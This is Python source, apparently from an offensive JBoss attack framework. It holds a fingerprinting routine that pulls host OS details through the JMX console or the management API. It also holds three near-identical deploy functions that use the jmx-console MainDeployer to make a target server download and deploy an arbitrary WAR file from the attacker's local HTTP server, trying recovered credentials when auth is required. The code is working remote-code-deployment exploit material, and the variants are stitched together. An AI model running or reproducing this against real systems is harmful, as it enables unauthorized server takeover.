def run7(self, fingerengine, fingerprint): """ Runs our OS query using the HTTP API NOTE: This does not work against 7.0.0 or 7.0.1 because the platform-mbean was not exposed until 7.0.2 and up. See AS7-340 """ url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) info = '{"operation":"read-resource", "include-runtime":"true", "address":'\ '[{"core-service":"platform-mbean"},{"type":"runtime"}], "json.pretty":1}' headers = {"Content-Type": "application/json"} response = utility.requests_post(url, data=info, headers=headers) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=info, cookies=cookies[0], auth=cookies[1], headers=headers) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: result = response.json()['result'] for key in result.keys(): if 'system-properties' in key: for skey in result[key].keys(): utility.Msg('\t%s: %s' % (skey, result[key][skey])) else: utility.Msg('\t%s: %s' % (key, result[key])) elif response.status_code == 500: utility.Msg("Failed to retrieve system properties, checking if " "this is 7.0.0/7.0.1...") info = '{"operation":"read-attribute", "name":"server-state"}' response = utility.requests_post(url, data=info, headers=headers) if response.status_code == 200: utility.Msg( "Older version found. This version is unsupported.") else: utility.Msg("Failed to retrieve info (HTTP %d)", response.status_code, LOG.DEBUG) else: utility.Msg( "Failed to retrieve info (HTTP %d)" % response.status_code, LOG.DEBUG)
def run(self, fingerengine, fingerprint): """ This runs the jboss.system:type=ServerInfo MBean to gather information about the host OS. JBoss 7.x uses the HTTP API instead to query for this info, which also happens to give us quite a bit more. """ utility.Msg("Attempting to retrieve JBoss info...") if fingerprint.version in ["7.0", "7.1", "8.0", "8.1"]: # JBoss 7.x uses an HTTP API instead of jmx-console/ return self.run7(fingerengine, fingerprint) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system"\ ":type=ServerInfo" url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if fingerprint.version in ["3.0", "3.2"]: names = findall("<span class='aname'>(.*?)</span>", response.content.replace('\n', ''))[1:] data = findall("<pre>(.*?)</pre>", response.content.replace('\n', '')) for (key, value) in zip(names, data): utility.Msg("\t{0}: {1}".format(key, value)) elif fingerprint.version in ["4.0", "4.2"]: data = findall("<td>(.*?)</td>", response.content.replace('\n', '')) for x in range(9, len(data) - 9, 5): utility.Msg("\t{0}: {1}".format( data[x + 1].lstrip().rstrip(), data[x + 4].lstrip().rstrip())) elif fingerprint.version in ["5.0", "5.1", "6.0", "6.1"]: names = findall("<td class='param'>(.*?)</td>", response.content.replace('\n', '')) data = findall("<pre>(.*?)</pre>", response.content.replace('\n', '')) for (key, value) in zip(names, data): utility.Msg("\t{0}: {1}".format(key, value.rstrip('').lstrip())) else: utility.Msg( "Version %s is not supported by this module." % fingerprint.version, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = { "3.0": 21, "3.2": 22, "4.0": 3, "4.2": 3, "6.0": 19, "6.1": 19 } if fingerprint.version == "3.0": # tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " # "Ensure your WAR is compatible with 3.0 [Y/n]") # if 'n' in tmp.lower(): # return utility.Msg( "Version 3.0 has a strict WAR XML structure. Ensure your WAR is compatible with 3.0" ) utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg( "Failed to call {0} (HTTP {1})".format(fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = war_file.rsplit('/', 1)[1] # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } if fingerprint.version == "3.0": tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " "Ensure your WAR is compatible with 3.0 [Y/n]") if 'n' in tmp.lower(): return utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:8000/{1}'.format( utility.local_address(), war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) # kill our local HTTP server try: get("http://localhost:8000/", timeout=1.0) except: pass
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format( utility.local_address(), state.external_port,war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()